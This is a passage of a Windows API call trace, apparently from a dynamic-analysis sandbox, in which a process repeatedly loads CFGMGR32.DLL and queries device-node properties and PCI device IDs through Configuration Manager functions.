0x7ffb1cef46e0 [0248.334] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0248.334] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0248.335] malloc (_Size=0x18) returned 0x20abc281e00 [0248.335] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3d, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0248.336] malloc (_Size=0x48) returned 0x20abc27cb20 [0248.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4fc7ca84, dwHighDateTime=0x1d9eb0c)) [0248.336] SetEvent (hEvent=0x248) returned 1 [0248.340] malloc (_Size=0xd8) returned 0x20abc284e70 [0248.341] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0248.341] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0248.341] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0248.341] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0248.341] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0248.342] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0248.342] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0248.342] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0248.342] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0248.342] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0248.343] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0248.343] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0248.343] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0248.343] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0248.346] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0248.346] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0248.346] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0248.346] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0248.347] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0248.347] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0248.347] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0248.347] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0248.348] malloc (_Size=0x18) returned 0x20abc281c40 [0248.348] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3d, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0248.349] malloc (_Size=0x48) returned 0x20abc27cf80 [0248.349] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4fca190e, dwHighDateTime=0x1d9eb0c)) [0248.349] SetEvent (hEvent=0x248) returned 1 [0248.354] malloc (_Size=0xd8) returned 0x20abc284e70 [0248.354] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0248.354] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0248.354] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0248.354] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0248.354] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0248.355] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0248.355] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0248.355] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0248.355] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0248.355] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0248.355] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0248.355] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0248.356] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0248.356] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0248.356] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0248.356] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0248.356] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0248.356] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0248.356] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0248.356] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0248.357] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0248.357] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0248.357] malloc (_Size=0x18) returned 0x20abc281be0 [0248.358] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3d, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0248.358] malloc (_Size=0x48) returned 0x20abc27cb20 [0248.358] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4fcc7a30, dwHighDateTime=0x1d9eb0c)) [0248.358] SetEvent (hEvent=0x248) returned 1 [0248.364] malloc (_Size=0xd8) returned 0x20abc284e70 [0248.364] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0248.365] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0248.365] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0248.365] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0248.365] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0248.365] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0248.365] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0248.365] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0248.366] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0248.366] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0248.366] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0248.366] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0248.366] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0248.366] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0248.366] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0248.367] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0248.367] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0248.367] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0248.367] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0248.367] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0248.367] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0248.528] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0248.529] malloc (_Size=0x18) returned 0x20abc281c00 [0248.530] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3d, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0248.533] malloc (_Size=0x48) returned 0x20abc27cb20 [0248.533] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4fe6b2e0, dwHighDateTime=0x1d9eb0c)) [0248.534] SetEvent (hEvent=0x248) returned 1 [0248.544] malloc (_Size=0xd8) returned 0x20abc284e70 [0248.544] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0248.545] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0248.545] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0248.545] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0248.545] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0248.545] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0248.545] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0248.545] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0248.546] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0248.546] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0248.546] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0248.546] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0248.546] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0248.546] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0248.546] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0248.547] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0248.547] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0248.547] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0248.547] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0248.547] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0248.547] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0248.547] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0248.548] malloc (_Size=0x18) returned 0x20abc281b80 [0248.548] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x3d, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0248.548] malloc (_Size=0x48) returned 0x20abc27cb20 [0248.549] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x4fe9cc90, dwHighDateTime=0x1d9eb0c)) [0248.549] SetEvent (hEvent=0x248) returned 1 [0248.554] malloc (_Size=0xd8) returned 0x20abc284e70 [0248.554] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0248.554] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0248.555] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0248.555] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0248.555] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0248.555] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0248.556] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0248.556] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0248.556] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0248.556] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0248.556] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0248.556] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0248.556] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0248.557] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0248.557] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0248.557] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0248.557] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0248.557] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0248.557] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0248.557] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0248.558] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0248.558] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0248.558] malloc (_Size=0x18) returned 0x20abc281fc0 [0248.558] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x3d, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0248.559] malloc (_Size=0x48) returned 0x20abc27cb20 [0248.559] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x4feb77a7, dwHighDateTime=0x1d9eb0c)) [0248.559] SetEvent (hEvent=0x248) returned 1 [0248.563] malloc (_Size=0xd8) returned 0x20abc284e70 [0248.563] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0248.564] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0248.564] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0248.564] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0248.564] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0248.564] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0248.565] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0248.565] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0248.565] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0248.565] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0248.565] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0248.565] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0248.565] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0248.566] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0248.566] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0248.566] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0248.566] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0248.566] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0248.566] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0248.567] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0248.567] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0248.567] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0248.567] malloc (_Size=0x18) returned 0x20abc281fc0 [0248.568] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3d, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0248.568] malloc (_Size=0x48) returned 0x20abc27cb20 [0248.568] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4feb77a7, dwHighDateTime=0x1d9eb0c)) [0248.568] SetEvent (hEvent=0x248) returned 1 [0248.575] malloc (_Size=0xd8) returned 0x20abc284e70 [0248.575] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0248.575] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0248.575] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0248.575] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0248.576] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0248.576] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0248.576] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0248.576] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0248.576] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0248.577] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0248.577] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0248.577] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0248.577] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0248.577] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0248.577] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0248.578] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0248.578] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0248.578] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0248.578] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0248.578] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0248.579] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0248.579] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0248.579] malloc (_Size=0x18) returned 0x20abc281d60 [0248.580] CM_Get_Device_IDA (in: dnDevInst=0x3e, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_8086&DEV_293C&SUBSYS_11001AF4&REV_03\\3&11583659&0&18") returned 0x0 [0248.580] malloc (_Size=0x48) returned 0x20abc27cb20 [0248.580] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x4fedde19, dwHighDateTime=0x1d9eb0c)) [0248.580] SetEvent (hEvent=0x248) returned 1 [0248.691] malloc (_Size=0xd8) returned 0x20abc284e70 [0248.691] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0248.692] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0248.692] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0248.692] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0248.692] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0248.692] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0248.692] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0248.693] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0248.693] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0248.693] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0248.693] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0248.693] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0248.693] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0248.693] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0248.694] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0248.694] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0248.694] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0248.694] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0248.694] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0248.694] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0248.694] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0248.695] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0248.695] malloc (_Size=0x18) returned 0x20abc281f00 [0248.695] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3e, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, 